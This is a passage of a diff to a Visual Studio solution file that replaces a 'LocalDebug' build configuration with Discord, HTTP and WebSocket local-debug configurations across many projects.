CPU.ActiveCfg = Debug|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Release|Any CPU.ActiveCfg = Release|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Release|Any CPU.Build.0 = Release|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Release|Any CPU.ActiveCfg = Release|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Release|Any CPU.Build.0 = Release|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Release|Any CPU.ActiveCfg = Release|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Release|Any CPU.Build.0 = Release|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Release|Any CPU.ActiveCfg = Release|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Release|Any CPU.Build.0 = Release|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Release|Any CPU.ActiveCfg = Release|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Release|Any CPU.Build.0 = Release|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Release|Any CPU.ActiveCfg = Release|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Release|Any CPU.Build.0 = Release|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Release|Any CPU.ActiveCfg = Release|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Release|Any CPU.Build.0 = Release|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Release|Any CPU.ActiveCfg = Release|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Release|Any CPU.Build.0 = Release|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Release|Any CPU.ActiveCfg = Release|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Release|Any CPU.Build.0 = Release|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Release|Any CPU.ActiveCfg = Release|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Release|Any CPU.Build.0 = Release|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Release|Any CPU.ActiveCfg = Release|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Release|Any CPU.Build.0 = Release|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Release|Any CPU.ActiveCfg = Release|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Release|Any CPU.Build.0 = Release|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Release|Any CPU.ActiveCfg = Release|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Release|Any CPU.Build.0 = Release|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Release|Any CPU.ActiveCfg = Release|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Release|Any CPU.Build.0 = Release|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Release|Any CPU.ActiveCfg = Release|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Release|Any CPU.Build.0 = Release|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Debug|Any CPU.Build.0 = Debug|Any CPU - {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Release|Any CPU.ActiveCfg = Release|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Release|Any CPU.Build.0 = Release|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Release|Any CPU.ActiveCfg = Release|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Release|Any CPU.Build.0 = Release|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Release|Any CPU.ActiveCfg = Release|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Release|Any CPU.Build.0 = Release|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Release|Any CPU.ActiveCfg = Release|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Release|Any CPU.Build.0 = Release|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + 